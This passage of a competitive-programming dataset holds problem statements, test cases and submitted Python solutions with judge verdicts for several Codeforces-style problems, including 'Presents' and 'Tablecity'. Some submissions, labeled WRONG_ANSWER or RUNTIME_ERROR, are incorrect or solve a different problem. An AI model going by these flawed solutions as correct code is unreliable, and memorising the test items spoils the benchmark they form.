3\n6", "output": "Yes" }, { "input": "5 2\n1 2 0 0 5\n4 3", "output": "Yes" }, { "input": "4 2\n2 0 0 8\n3 4", "output": "Yes" }, { "input": "2 1\n0 2\n3", "output": "Yes" }, { "input": "3 1\n0 4 5\n6", "output": "Yes" }, { "input": "6 1\n1 2 3 4 0 5\n6", "output": "Yes" }, { "input": "2 1\n2 0\n3", "output": "No" }, { "input": "4 2\n11 0 0 200\n100 199", "output": "Yes" }, { "input": "2 1\n5 0\n4", "output": "Yes" }, { "input": "3 1\n1 0 5\n10", "output": "Yes" }, { "input": "6 2\n1 2 0 0 5 6\n3 4", "output": "Yes" }, { "input": "5 2\n1 0 3 0 5\n2 4", "output": "Yes" }, { "input": "4 1\n1 4 0 8\n3", "output": "Yes" }, { "input": "4 1\n5 9 4 0\n8", "output": "Yes" }, { "input": "4 2\n1 0 0 7\n3 2", "output": "Yes" }, { "input": "3 3\n0 0 0\n1 4 3", "output": "Yes" }, { "input": "5 5\n0 0 0 0 0\n5 4 3 2 1", "output": "Yes" }, { "input": "4 1\n3 9 4 0\n8", "output": "Yes" }, { "input": "4 2\n1 0 0 4\n2 3", "output": "Yes" }, { "input": "6 1\n2 4 0 8 9 10\n3", "output": "Yes" }, { "input": "4 1\n0 3 5 6\n9", "output": "Yes" }, { "input": "4 2\n1 2 0 0\n3 4", "output": "Yes" }, { "input": "5 1\n2 3 4 5 0\n1", "output": "Yes" }, { "input": "3 1\n2 0 4\n5", "output": "Yes" } ]
1,496,839,039
1,339
PyPy 3
OK
TESTS
96
109
0
n, k = map(int, input().split()) flag = 0 a = list(map(int, input().split())) b = list(map(int, input().split())) if k != 1: print("Yes") else: for i in range(0, n): if a[i] == 0: a[i] = b[0] if i != 0: if a[i] < a[i - 1]: print("Yes") flag = 1 break if flag == 0: print("No")
Title: An abandoned sentiment from past Time Limit: None seconds Memory Limit: None megabytes Problem Description: A few years ago, Hitagi encountered a giant crab, who stole the whole of her body weight. Ever since, she tried to avoid contact with others, for fear that this secret might be noticed. To get rid of the oddity and recover her weight, a special integer sequence is needed. Hitagi's sequence has been broken for a long time, but now Kaiki provides an opportunity. Hitagi's sequence *a* has a length of *n*. Lost elements in it are denoted by zeros. Kaiki provides another sequence *b*, whose length *k* equals the number of lost elements in *a* (i.e. the number of zeros). Hitagi is to replace each zero in *a* with an element from *b* so that each element in *b* should be used exactly once. Hitagi knows, however, that, apart from 0, no integer occurs in *a* and *b* more than once in total. If the resulting sequence is not an increasing sequence, then it has the power to recover Hitagi from the oddity. You are to determine whether this is possible, or Kaiki's sequence is just another fake. In other words, you should detect whether it is possible to replace each zero in *a* with an integer from *b* so that each integer from *b* is used exactly once, and the resulting sequence is not increasing. Input Specification: The first line of input contains two space-separated positive integers *n* (2<=≤<=*n*<=≤<=100) and *k* (1<=≤<=*k*<=≤<=*n*) — the lengths of sequence *a* and *b* respectively. The second line contains *n* space-separated integers *a*1,<=*a*2,<=...,<=*a**n* (0<=≤<=*a**i*<=≤<=200) — Hitagi's broken sequence with exactly *k* zero elements. The third line contains *k* space-separated integers *b*1,<=*b*2,<=...,<=*b**k* (1<=≤<=*b**i*<=≤<=200) — the elements to fill into Hitagi's sequence. Input guarantees that apart from 0, no integer occurs in *a* and *b* more than once in total. Output Specification: Output "Yes" if it's possible to replace zeros in *a* with elements in *b* and make the resulting sequence not increasing, and "No" otherwise. Demo Input: ['4 2\n11 0 0 14\n5 4\n', '6 1\n2 3 0 8 9 10\n5\n', '4 1\n8 94 0 4\n89\n', '7 7\n0 0 0 0 0 0 0\n1 2 3 4 5 6 7\n'] Demo Output: ['Yes\n', 'No\n', 'Yes\n', 'Yes\n'] Note: In the first sample: - Sequence *a* is 11, 0, 0, 14. - Two of the elements are lost, and the candidates in *b* are 5 and 4. - There are two possible resulting sequences: 11, 5, 4, 14 and 11, 4, 5, 14, both of which fulfill the requirements. Thus the answer is "Yes". In the second sample, the only possible resulting sequence is 2, 3, 5, 8, 9, 10, which is an increasing sequence and therefore invalid.
```python n, k = map(int, input().split()) flag = 0 a = list(map(int, input().split())) b = list(map(int, input().split())) if k != 1: print("Yes") else: for i in range(0, n): if a[i] == 0: a[i] = b[0] if i != 0: if a[i] < a[i - 1]: print("Yes") flag = 1 break if flag == 0: print("No") ```
3
136
A
Presents
PROGRAMMING
800
[ "implementation" ]
null
null
Little Petya very much likes gifts. Recently he has received a new laptop as a New Year gift from his mother. He immediately decided to give it to somebody else as what can be more pleasant than giving somebody gifts. And on this occasion he organized a New Year party at his place and invited *n* his friends there. If there's one thing Petya likes more that receiving gifts, that's watching others giving gifts to somebody else. Thus, he safely hid the laptop until the next New Year and made up his mind to watch his friends exchanging gifts while he does not participate in the process. He numbered all his friends with integers from 1 to *n*. Petya remembered that a friend number *i* gave a gift to a friend number *p**i*. He also remembered that each of his friends received exactly one gift. Now Petya wants to know for each friend *i* the number of a friend who has given him a gift.
The first line contains one integer *n* (1<=≤<=*n*<=≤<=100) — the quantity of friends Petya invited to the party. The second line contains *n* space-separated integers: the *i*-th number is *p**i* — the number of a friend who gave a gift to friend number *i*. It is guaranteed that each friend received exactly one gift. It is possible that some friends do not share Petya's ideas of giving gifts to somebody else. Those friends gave the gifts to themselves.
Print *n* space-separated integers: the *i*-th number should equal the number of the friend who gave a gift to friend number *i*.
[ "4\n2 3 4 1\n", "3\n1 3 2\n", "2\n1 2\n" ]
[ "4 1 2 3\n", "1 3 2\n", "1 2\n" ]
none
500
[ { "input": "4\n2 3 4 1", "output": "4 1 2 3" }, { "input": "3\n1 3 2", "output": "1 3 2" }, { "input": "2\n1 2", "output": "1 2" }, { "input": "1\n1", "output": "1" }, { "input": "10\n1 3 2 6 4 5 7 9 8 10", "output": "1 3 2 5 6 4 7 9 8 10" }, { "input": "5\n5 4 3 2 1", "output": "5 4 3 2 1" }, { "input": "20\n2 1 4 3 6 5 8 7 10 9 12 11 14 13 16 15 18 17 20 19", "output": "2 1 4 3 6 5 8 7 10 9 12 11 14 13 16 15 18 17 20 19" }, { "input": "21\n3 2 1 6 5 4 9 8 7 12 11 10 15 14 13 18 17 16 21 20 19", "output": "3 2 1 6 5 4 9 8 7 12 11 10 15 14 13 18 17 16 21 20 19" }, { "input": "10\n3 4 5 6 7 8 9 10 1 2", "output": "9 10 1 2 3 4 5 6 7 8" }, { "input": "8\n1 5 3 7 2 6 4 8", "output": "1 5 3 7 2 6 4 8" }, { "input": "50\n49 22 4 2 20 46 7 32 5 19 48 24 26 15 45 21 44 11 50 43 39 17 31 1 42 34 3 27 36 25 12 30 13 33 28 35 18 6 8 37 38 14 10 9 29 16 40 23 41 47", "output": "24 4 27 3 9 38 7 39 44 43 18 31 33 42 14 46 22 37 10 5 16 2 48 12 30 13 28 35 45 32 23 8 34 26 36 29 40 41 21 47 49 25 20 17 15 6 50 11 1 19" }, { "input": "34\n13 20 33 30 15 11 27 4 8 2 29 25 24 7 3 22 18 10 26 16 5 1 32 9 34 6 12 14 28 19 31 21 23 17", "output": "22 10 15 8 21 26 14 9 24 18 6 27 1 28 5 20 34 17 30 2 32 16 33 13 12 19 7 29 11 4 31 23 3 25" }, { "input": "92\n23 1 6 4 84 54 44 76 63 34 61 20 48 13 28 78 26 46 90 72 24 55 91 89 53 38 82 5 79 92 29 32 15 64 11 88 60 70 7 66 18 59 8 57 19 16 42 21 80 71 62 27 75 86 36 9 83 73 74 50 43 31 56 30 17 33 40 81 49 12 10 41 22 77 25 68 51 2 47 3 58 69 87 67 39 37 35 65 14 45 52 85", "output": "2 78 80 4 28 3 39 43 56 71 35 70 14 89 33 46 65 41 45 12 48 73 1 21 75 17 52 15 31 64 62 32 66 10 87 55 86 26 85 67 72 47 61 7 90 18 79 13 69 60 77 91 25 6 22 63 44 81 42 37 11 51 9 34 88 40 84 76 82 38 50 20 58 59 53 8 74 16 29 49 68 27 57 5 92 54 83 36 24 19 23 30" }, { "input": "49\n30 24 33 48 7 3 17 2 8 35 10 39 23 40 46 32 18 21 26 22 1 16 47 45 41 28 31 6 12 43 27 11 13 37 19 15 44 5 29 42 4 38 20 34 14 9 25 36 49", "output": "21 8 6 41 38 28 5 9 46 11 32 29 33 45 36 22 7 17 35 43 18 20 13 2 47 19 31 26 39 1 27 16 3 44 10 48 34 42 12 14 25 40 30 37 24 15 23 4 49" }, { "input": "12\n3 8 7 4 6 5 2 1 11 9 10 12", "output": "8 7 1 4 6 5 3 2 10 11 9 12" }, { "input": "78\n16 56 36 78 21 14 9 77 26 57 70 61 41 47 18 44 5 31 50 74 65 52 6 39 22 62 67 69 43 7 64 29 24 40 48 51 73 54 72 12 19 34 4 25 55 33 17 35 23 53 10 8 27 32 42 68 20 63 3 2 1 71 58 46 13 30 49 11 37 66 38 60 28 75 15 59 45 76", "output": "61 60 59 43 17 23 30 52 7 51 68 40 65 6 75 1 47 15 41 57 5 25 49 33 44 9 53 73 32 66 18 54 46 42 48 3 69 71 24 34 13 55 29 16 77 64 14 35 67 19 36 22 50 38 45 2 10 63 76 72 12 26 58 31 21 70 27 56 28 11 62 39 37 20 74 78 8 4" }, { "input": "64\n64 57 40 3 15 8 62 18 33 59 51 19 22 13 4 37 47 45 50 35 63 11 58 42 46 21 7 2 41 48 32 23 28 38 17 12 24 27 49 31 60 6 30 25 61 52 26 54 9 14 29 20 44 39 55 10 34 16 5 56 1 36 53 43", "output": "61 28 4 15 59 42 27 6 49 56 22 36 14 50 5 58 35 8 12 52 26 13 32 37 44 47 38 33 51 43 40 31 9 57 20 62 16 34 54 3 29 24 64 53 18 25 17 30 39 19 11 46 63 48 55 60 2 23 10 41 45 7 21 1" }, { "input": "49\n38 20 49 32 14 41 39 45 25 48 40 19 26 43 34 12 10 3 35 42 5 7 46 47 4 2 13 22 16 24 33 15 11 18 29 31 23 9 44 36 6 17 37 1 30 28 8 21 27", "output": "44 26 18 25 21 41 22 47 38 17 33 16 27 5 32 29 42 34 12 2 48 28 37 30 9 13 49 46 35 45 36 4 31 15 19 40 43 1 7 11 6 20 14 39 8 23 24 10 3" }, { "input": "78\n17 50 30 48 33 12 42 4 18 53 76 67 38 3 20 72 51 55 60 63 46 10 57 45 54 32 24 62 8 11 35 44 65 74 58 28 2 6 56 52 39 23 47 49 61 1 66 41 15 77 7 27 78 13 14 34 5 31 37 21 40 16 29 69 59 43 64 36 70 19 25 73 71 75 9 68 26 22", "output": "46 37 14 8 57 38 51 29 75 22 30 6 54 55 49 62 1 9 70 15 60 78 42 27 71 77 52 36 63 3 58 26 5 56 31 68 59 13 41 61 48 7 66 32 24 21 43 4 44 2 17 40 10 25 18 39 23 35 65 19 45 28 20 67 33 47 12 76 64 69 73 16 72 34 74 11 50 53" }, { "input": "29\n14 21 27 1 4 18 10 17 20 23 2 24 7 9 28 22 8 25 12 15 11 6 16 29 3 26 19 5 13", "output": "4 11 25 5 28 22 13 17 14 7 21 19 29 1 20 23 8 6 27 9 2 16 10 12 18 26 3 15 24" }, { "input": "82\n6 1 10 75 28 66 61 81 78 63 17 19 58 34 49 12 67 50 41 44 3 15 59 38 51 72 36 11 46 29 18 64 27 23 13 53 56 68 2 25 47 40 69 54 42 5 60 55 4 16 24 79 57 20 7 73 32 80 76 52 82 37 26 31 65 8 39 62 33 71 30 9 77 43 48 74 70 22 14 45 35 21", "output": "2 39 21 49 46 1 55 66 72 3 28 16 35 79 22 50 11 31 12 54 82 78 34 51 40 63 33 5 30 71 64 57 69 14 81 27 62 24 67 42 19 45 74 20 80 29 41 75 15 18 25 60 36 44 48 37 53 13 23 47 7 68 10 32 65 6 17 38 43 77 70 26 56 76 4 59 73 9 52 58 8 61" }, { "input": "82\n74 18 15 69 71 77 19 26 80 20 66 7 30 82 22 48 21 44 52 65 64 61 35 49 12 8 53 81 54 16 11 9 40 46 13 1 29 58 5 41 55 4 78 60 6 51 56 2 38 36 34 62 63 25 17 67 45 14 32 37 75 79 10 47 27 39 31 68 59 24 50 43 72 70 42 28 76 23 57 3 73 33", "output": "36 48 80 42 39 45 12 26 32 63 31 25 35 58 3 30 55 2 7 10 17 15 78 70 54 8 65 76 37 13 67 59 82 51 23 50 60 49 66 33 40 75 72 18 57 34 64 16 24 71 46 19 27 29 41 47 79 38 69 44 22 52 53 21 20 11 56 68 4 74 5 73 81 1 61 77 6 43 62 9 28 14" }, { "input": "45\n2 32 34 13 3 15 16 33 22 12 31 38 42 14 27 7 36 8 4 19 45 41 5 35 10 11 39 20 29 44 17 9 6 40 37 28 25 21 1 30 24 18 43 26 23", "output": "39 1 5 19 23 33 16 18 32 25 26 10 4 14 6 7 31 42 20 28 38 9 45 41 37 44 15 36 29 40 11 2 8 3 24 17 35 12 27 34 22 13 43 30 21" }, { "input": "45\n4 32 33 39 43 21 22 35 45 7 14 5 16 9 42 31 24 36 17 29 41 25 37 34 27 20 11 44 3 13 19 2 1 10 26 30 38 18 6 8 15 23 40 28 12", "output": "33 32 29 1 12 39 10 40 14 34 27 45 30 11 41 13 19 38 31 26 6 7 42 17 22 35 25 44 20 36 16 2 3 24 8 18 23 37 4 43 21 15 5 28 9" }, { "input": "74\n48 72 40 67 17 4 27 53 11 32 25 9 74 2 41 24 56 22 14 21 33 5 18 55 20 7 29 36 69 13 52 19 38 30 68 59 66 34 63 6 47 45 54 44 62 12 50 71 16 10 8 64 57 73 46 26 49 42 3 23 35 1 61 39 70 60 65 43 15 28 37 51 58 31", "output": "62 14 59 6 22 40 26 51 12 50 9 46 30 19 69 49 5 23 32 25 20 18 60 16 11 56 7 70 27 34 74 10 21 38 61 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43 38 8 68 77 72 46 36 37 2 64 75 76 98 10 84 48 85 97 73 18 54 47 34 94 17 30 80 99 11 69 51 62 20 23 44 29 81 65 22 26 56 14 89 21 53 91 40 52 5 58 60 24 15 7 63 95 27 50 88 31 70 19 1 67 57 96 61 74 86 49 32 78 35 6 41 83 33 71 45 79 90 39 87 55 59 66 25 12" }, { "input": "99\n50 94 2 18 69 90 59 83 75 68 77 97 39 78 25 7 16 9 49 4 42 89 44 48 17 96 61 70 3 10 5 81 56 57 88 6 98 1 46 67 92 37 11 30 85 41 8 36 51 29 20 71 19 79 74 93 43 34 55 40 38 21 64 63 32 24 72 14 12 86 82 15 65 23 66 22 28 53 13 26 95 99 91 52 76 27 60 45 47 33 73 84 31 35 54 80 58 62 87", "output": "38 3 29 20 31 36 16 47 18 30 43 69 79 68 72 17 25 4 53 51 62 76 74 66 15 80 86 77 50 44 93 65 90 58 94 48 42 61 13 60 46 21 57 23 88 39 89 24 19 1 49 84 78 95 59 33 34 97 7 87 27 98 64 63 73 75 40 10 5 28 52 67 91 55 9 85 11 14 54 96 32 71 8 92 45 70 99 35 22 6 83 41 56 2 81 26 12 37 82" }, { "input": "99\n19 93 14 34 39 37 33 15 52 88 7 43 69 27 9 77 94 31 48 22 63 70 79 17 50 6 81 8 76 58 23 74 86 11 57 62 41 87 75 51 12 18 68 56 95 3 80 83 84 29 24 61 71 78 59 96 20 85 90 28 45 36 38 97 1 49 40 98 44 67 13 73 72 91 47 10 30 54 35 42 4 2 92 26 64 60 53 21 5 82 46 32 55 66 16 89 99 65 25", "output": "65 82 46 81 89 26 11 28 15 76 34 41 71 3 8 95 24 42 1 57 88 20 31 51 99 84 14 60 50 77 18 92 7 4 79 62 6 63 5 67 37 80 12 69 61 91 75 19 66 25 40 9 87 78 93 44 35 30 55 86 52 36 21 85 98 94 70 43 13 22 53 73 72 32 39 29 16 54 23 47 27 90 48 49 58 33 38 10 96 59 74 83 2 17 45 56 64 68 97" }, { "input": "99\n86 25 50 51 62 39 41 67 44 20 45 14 80 88 66 7 36 59 13 84 78 58 96 75 2 43 48 47 69 12 19 98 22 38 28 55 11 76 68 46 53 70 85 34 16 33 91 30 8 40 74 60 94 82 87 32 37 4 5 10 89 73 90 29 35 26 23 57 27 65 24 3 9 83 77 72 6 31 15 92 93 79 64 18 63 42 56 1 52 97 17 81 71 21 49 99 54 95 61", "output": "88 25 72 58 59 77 16 49 73 60 37 30 19 12 79 45 91 84 31 10 94 33 67 71 2 66 69 35 64 48 78 56 46 44 65 17 57 34 6 50 7 86 26 9 11 40 28 27 95 3 4 89 41 97 36 87 68 22 18 52 99 5 85 83 70 15 8 39 29 42 93 76 62 51 24 38 75 21 82 13 92 54 74 20 43 1 55 14 61 63 47 80 81 53 98 23 90 32 96" }, { "input": "100\n66 44 99 15 43 79 28 33 88 90 49 68 82 38 9 74 4 58 29 81 31 94 10 42 89 21 63 40 62 61 18 6 84 72 48 25 67 69 71 85 98 34 83 70 65 78 91 77 93 41 23 24 87 11 55 12 59 73 36 97 7 14 26 39 30 27 45 20 50 17 53 2 57 47 95 56 75 19 37 96 16 35 8 3 76 60 13 86 5 32 64 80 46 51 54 100 1 22 52 92", "output": "97 72 84 17 89 32 61 83 15 23 54 56 87 62 4 81 70 31 78 68 26 98 51 52 36 63 66 7 19 65 21 90 8 42 82 59 79 14 64 28 50 24 5 2 67 93 74 35 11 69 94 99 71 95 55 76 73 18 57 86 30 29 27 91 45 1 37 12 38 44 39 34 58 16 77 85 48 46 6 92 20 13 43 33 40 88 53 9 25 10 47 100 49 22 75 80 60 41 3 96" }, { "input": "99\n3 73 32 37 25 15 93 63 85 8 91 78 80 5 39 48 46 7 83 70 23 96 9 29 77 53 30 20 56 50 13 45 21 76 87 99 65 31 16 18 14 72 51 28 43 2 81 34 38 40 66 54 74 26 71 4 61 17 58 24 22 33 49 36 42 11 12 55 60 27 62 90 79 92 94 68 1 52 84 41 86 35 69 75 47 10 64 88 97 98 67 19 89 95 59 82 57 44 6", "output": "77 46 1 56 14 99 18 10 23 86 66 67 31 41 6 39 58 40 92 28 33 61 21 60 5 54 70 44 24 27 38 3 62 48 82 64 4 49 15 50 80 65 45 98 32 17 85 16 63 30 43 78 26 52 68 29 97 59 95 69 57 71 8 87 37 51 91 76 83 20 55 42 2 53 84 34 25 12 73 13 47 96 19 79 9 81 35 88 93 72 11 74 7 75 94 22 89 90 36" }, { "input": "100\n100 99 98 97 96 95 94 93 92 91 90 89 88 87 86 85 84 83 82 81 80 79 78 77 76 75 74 73 72 71 70 69 68 67 66 65 64 63 62 61 60 59 58 57 56 55 54 53 52 51 50 49 48 47 46 45 44 43 42 41 40 39 38 37 36 35 34 33 32 31 30 29 28 27 26 25 24 23 22 21 20 19 18 17 16 15 14 13 12 11 10 9 8 7 6 5 4 3 2 1", "output": "100 99 98 97 96 95 94 93 92 91 90 89 88 87 86 85 84 83 82 81 80 79 78 77 76 75 74 73 72 71 70 69 68 67 66 65 64 63 62 61 60 59 58 57 56 55 54 53 52 51 50 49 48 47 46 45 44 43 42 41 40 39 38 37 36 35 34 33 32 31 30 29 28 27 26 25 24 23 22 21 20 19 18 17 16 15 14 13 12 11 10 9 8 7 6 5 4 3 2 1" } ]
1,698,351,744
2,147,483,647
Python 3
RUNTIME_ERROR
TESTS
0
30
0
s1, s2, s3, s4 = map(int, input().split()) colors = [s1, s2, s3, s4] unique_colors = len(set(colors)) min_purchases = 4 - unique_colors print(min_purchases)
Title: Presents Time Limit: None seconds Memory Limit: None megabytes Problem Description: Little Petya very much likes gifts. Recently he has received a new laptop as a New Year gift from his mother. He immediately decided to give it to somebody else as what can be more pleasant than giving somebody gifts. And on this occasion he organized a New Year party at his place and invited *n* his friends there. If there's one thing Petya likes more that receiving gifts, that's watching others giving gifts to somebody else. Thus, he safely hid the laptop until the next New Year and made up his mind to watch his friends exchanging gifts while he does not participate in the process. He numbered all his friends with integers from 1 to *n*. Petya remembered that a friend number *i* gave a gift to a friend number *p**i*. He also remembered that each of his friends received exactly one gift. Now Petya wants to know for each friend *i* the number of a friend who has given him a gift. Input Specification: The first line contains one integer *n* (1<=≤<=*n*<=≤<=100) — the quantity of friends Petya invited to the party. The second line contains *n* space-separated integers: the *i*-th number is *p**i* — the number of a friend who gave a gift to friend number *i*. It is guaranteed that each friend received exactly one gift. It is possible that some friends do not share Petya's ideas of giving gifts to somebody else. Those friends gave the gifts to themselves. Output Specification: Print *n* space-separated integers: the *i*-th number should equal the number of the friend who gave a gift to friend number *i*. Demo Input: ['4\n2 3 4 1\n', '3\n1 3 2\n', '2\n1 2\n'] Demo Output: ['4 1 2 3\n', '1 3 2\n', '1 2\n'] Note: none
```python s1, s2, s3, s4 = map(int, input().split()) colors = [s1, s2, s3, s4] unique_colors = len(set(colors)) min_purchases = 4 - unique_colors print(min_purchases) ```
-1
575
D
Tablecity
PROGRAMMING
1,700
[ "constructive algorithms", "implementation" ]
null
null
There was a big bank robbery in Tablecity. In order to catch the thief, the President called none other than Albert – Tablecity’s Chief of Police. Albert does not know where the thief is located, but he does know how he moves. Tablecity can be represented as 1000<=×<=2 grid, where every cell represents one district. Each district has its own unique name “(*X*,<=*Y*)”, where *X* and *Y* are the coordinates of the district in the grid. The thief’s movement is as Every hour the thief will leave the district (*X*,<=*Y*) he is currently hiding in, and move to one of the districts: (*X*<=-<=1,<=*Y*), (*X*<=+<=1,<=*Y*), (*X*<=-<=1,<=*Y*<=-<=1), (*X*<=-<=1,<=*Y*<=+<=1), (*X*<=+<=1,<=*Y*<=-<=1), (*X*<=+<=1,<=*Y*<=+<=1) as long as it exists in Tablecity. Below is an example of thief’s possible movements if he is located in district (7,1): Albert has enough people so that every hour he can pick any two districts in Tablecity and fully investigate them, making sure that if the thief is located in one of them, he will get caught. Albert promised the President that the thief will be caught in no more than 2015 hours and needs your help in order to achieve that.
There is no input for this problem.
The first line of output contains integer *N* – duration of police search in hours. Each of the following *N* lines contains exactly 4 integers *X**i*1, *Y**i*1, *X**i*2, *Y**i*2 separated by spaces, that represent 2 districts (*X**i*1, *Y**i*1), (*X**i*2, *Y**i*2) which got investigated during i-th hour. Output is given in chronological order (i-th line contains districts investigated during i-th hour) and should guarantee that the thief is caught in no more than 2015 hours, regardless of thief’s initial position and movement. - *N*<=≤<=2015 - 1<=≤<=*X*<=≤<=1000 - 1<=≤<=*Y*<=≤<=2
[ "В этой задаче нет примеров ввода-вывода.\nThis problem doesn't have sample input and output." ]
[ "Смотрите замечание ниже.\nSee the note below." ]
Let's consider the following output: 2 5 1 50 2 8 1 80 2 This output is not guaranteed to catch the thief and is not correct. It is given to you only to show the expected output format. There exists a combination of an initial position and a movement strategy such that the police will not catch the thief. Consider the following initial position and thief’s movement: In the first hour, the thief is located in district (1,1). Police officers will search districts (5,1) and (50,2) and will not find him. At the start of the second hour, the thief moves to district (2,2). Police officers will search districts (8,1) and (80,2) and will not find him. Since there is no further investigation by the police, the thief escaped!
0
[ { "input": "dummy", "output": "2000\n1 1 1 2\n2 1 2 2\n3 1 3 2\n4 1 4 2\n5 1 5 2\n6 1 6 2\n7 1 7 2\n8 1 8 2\n9 1 9 2\n10 1 10 2\n11 1 11 2\n12 1 12 2\n13 1 13 2\n14 1 14 2\n15 1 15 2\n16 1 16 2\n17 1 17 2\n18 1 18 2\n19 1 19 2\n20 1 20 2\n21 1 21 2\n22 1 22 2\n23 1 23 2\n24 1 24 2\n25 1 25 2\n26 1 26 2\n27 1 27 2\n28 1 28 2\n29 1 29 2\n30 1 30 2\n31 1 31 2\n32 1 32 2\n33 1 33 2\n34 1 34 2\n35 1 35 2\n36 1 36 2\n37 1 37 2\n38 1 38 2\n39 1 39 2\n40 1 40 2\n41 1 41 2\n42 1 42 2\n43 1 43 2\n44 1 44 2\n45 1 45 2\n46 1 46 2\n47 1 47 2\n48 1 4..." } ]
1,442,062,328
2,147,483,647
PyPy 3
WRONG_ANSWER
TESTS
0
155
2,560,000
print(1998); [print(i, 1, i, 2) for i in range(1, 1000)] * 2
Title: Tablecity Time Limit: None seconds Memory Limit: None megabytes Problem Description: There was a big bank robbery in Tablecity. In order to catch the thief, the President called none other than Albert – Tablecity’s Chief of Police. Albert does not know where the thief is located, but he does know how he moves. Tablecity can be represented as 1000<=×<=2 grid, where every cell represents one district. Each district has its own unique name “(*X*,<=*Y*)”, where *X* and *Y* are the coordinates of the district in the grid. The thief’s movement is as Every hour the thief will leave the district (*X*,<=*Y*) he is currently hiding in, and move to one of the districts: (*X*<=-<=1,<=*Y*), (*X*<=+<=1,<=*Y*), (*X*<=-<=1,<=*Y*<=-<=1), (*X*<=-<=1,<=*Y*<=+<=1), (*X*<=+<=1,<=*Y*<=-<=1), (*X*<=+<=1,<=*Y*<=+<=1) as long as it exists in Tablecity. Below is an example of thief’s possible movements if he is located in district (7,1): Albert has enough people so that every hour he can pick any two districts in Tablecity and fully investigate them, making sure that if the thief is located in one of them, he will get caught. Albert promised the President that the thief will be caught in no more than 2015 hours and needs your help in order to achieve that. Input Specification: There is no input for this problem. Output Specification: The first line of output contains integer *N* – duration of police search in hours. Each of the following *N* lines contains exactly 4 integers *X**i*1, *Y**i*1, *X**i*2, *Y**i*2 separated by spaces, that represent 2 districts (*X**i*1, *Y**i*1), (*X**i*2, *Y**i*2) which got investigated during i-th hour. Output is given in chronological order (i-th line contains districts investigated during i-th hour) and should guarantee that the thief is caught in no more than 2015 hours, regardless of thief’s initial position and movement. - *N*<=≤<=2015 - 1<=≤<=*X*<=≤<=1000 - 1<=≤<=*Y*<=≤<=2 Demo Input: ["В этой задаче нет примеров ввода-вывода.\nThis problem doesn't have sample input and output."] Demo Output: ['Смотрите замечание ниже.\nSee the note below.'] Note: Let's consider the following output: 2 5 1 50 2 8 1 80 2 This output is not guaranteed to catch the thief and is not correct. It is given to you only to show the expected output format. There exists a combination of an initial position and a movement strategy such that the police will not catch the thief. Consider the following initial position and thief’s movement: In the first hour, the thief is located in district (1,1). Police officers will search districts (5,1) and (50,2) and will not find him. At the start of the second hour, the thief moves to district (2,2). Police officers will search districts (8,1) and (80,2) and will not find him. Since there is no further investigation by the police, the thief escaped!
```python print(1998); [print(i, 1, i, 2) for i in range(1, 1000)] * 2 ```
0
821
B
Okabe and Banana Trees
PROGRAMMING
1,300
[ "brute force", "math" ]
null
null
Okabe needs bananas for one of his experiments for some strange reason. So he decides to go to the forest and cut banana trees. Consider the point (*x*,<=*y*) in the 2D plane such that *x* and *y* are integers and 0<=≤<=*x*,<=*y*. There is a tree in such a point, and it has *x*<=+<=*y* bananas. There are no trees nor bananas in other points. Now, Okabe draws a line with equation . Okabe can select a single rectangle with axis aligned sides with all points on or under the line and cut all the trees in all points that are inside or on the border of this rectangle and take their bananas. Okabe's rectangle can be degenerate; that is, it can be a line segment or even a point. Help Okabe and find the maximum number of bananas he can get if he chooses the rectangle wisely. Okabe is sure that the answer does not exceed 1018. You can trust him.
The first line of input contains two space-separated integers *m* and *b* (1<=≤<=*m*<=≤<=1000, 1<=≤<=*b*<=≤<=10000).
Print the maximum number of bananas Okabe can get from the trees he cuts.
[ "1 5\n", "2 3\n" ]
[ "30\n", "25\n" ]
The graph above corresponds to sample test 1. The optimal rectangle is shown in red and has 30 bananas.
1,000
[ { "input": "1 5", "output": "30" }, { "input": "2 3", "output": "25" }, { "input": "4 6", "output": "459" }, { "input": "6 3", "output": "171" }, { "input": "1 1", "output": "1" }, { "input": "10 1", "output": "55" }, { "input": "20 10", "output": "40326" }, { "input": "1000 10000", "output": "74133360011484445" }, { "input": "139 9252", "output": "1137907933561080" }, { "input": "859 8096", "output": "29032056230649780" }, { "input": "987 4237", "output": "5495451829240878" }, { "input": "411 3081", "output": "366755153481948" }, { "input": "539 9221", "output": "16893595018603386" }, { "input": "259 770", "output": "2281741798549" }, { "input": "387 5422", "output": "1771610559998400" }, { "input": "515 1563", "output": "75233740231341" }, { "input": "939 407", "output": "4438222781916" }, { "input": "518 6518", "output": "5511730799718825" }, { "input": "646 1171", "output": "49802404050106" }, { "input": "70 7311", "output": "142915220249910" }, { "input": "494 6155", "output": "4221391613846823" }, { "input": "918 7704", "output": "28569727339126165" }, { "input": "46 3844", "output": "9007500020760" }, { "input": "174 2688", "output": "43730657099581" }, { "input": "894 4637", "output": "5909849585253250" }, { "input": "22 3481", "output": "1548544125646" }, { "input": "446 5030", "output": "1878390629993745" }, { "input": "440 8704", "output": "9470470760118060" }, { "input": "569 7548", "output": "10326205017481606" }, { "input": "289 6393", "output": "1620061541812350" }, { "input": "417 1045", "output": "14758909519725" }, { "input": "841 7185", "output": "19452619774222875" }, { "input": "969 6030", "output": "15265318959845745" }, { "input": "393 4874", "output": "1327174123029975" }, { "input": "817 3719", "output": "2546859449982016" }, { "input": "945 2563", "output": "1115613396515835" }, { "input": "369 4511", "output": "927715710215505" }, { "input": "555 3594", "output": "1061060598862891" } ]
1,499,724,380
2,147,483,647
Python 3
WRONG_ANSWER
TESTS
3
46
5,529,600
m ,b = [int(p) for p in input().split()] out = 0 for g in range(b*m): h = b - (g/m) h = int(h) cc = 0 w = 0 for i in range(g+1): for l in range(h+1): w = i+l cc += w if cc > out: out = cc print(out)
Title: Okabe and Banana Trees Time Limit: None seconds Memory Limit: None megabytes Problem Description: Okabe needs bananas for one of his experiments for some strange reason. So he decides to go to the forest and cut banana trees. Consider the point (*x*,<=*y*) in the 2D plane such that *x* and *y* are integers and 0<=≤<=*x*,<=*y*. There is a tree in such a point, and it has *x*<=+<=*y* bananas. There are no trees nor bananas in other points. Now, Okabe draws a line with equation . Okabe can select a single rectangle with axis aligned sides with all points on or under the line and cut all the trees in all points that are inside or on the border of this rectangle and take their bananas. Okabe's rectangle can be degenerate; that is, it can be a line segment or even a point. Help Okabe and find the maximum number of bananas he can get if he chooses the rectangle wisely. Okabe is sure that the answer does not exceed 1018. You can trust him. Input Specification: The first line of input contains two space-separated integers *m* and *b* (1<=≤<=*m*<=≤<=1000, 1<=≤<=*b*<=≤<=10000). Output Specification: Print the maximum number of bananas Okabe can get from the trees he cuts. Demo Input: ['1 5\n', '2 3\n'] Demo Output: ['30\n', '25\n'] Note: The graph above corresponds to sample test 1. The optimal rectangle is shown in red and has 30 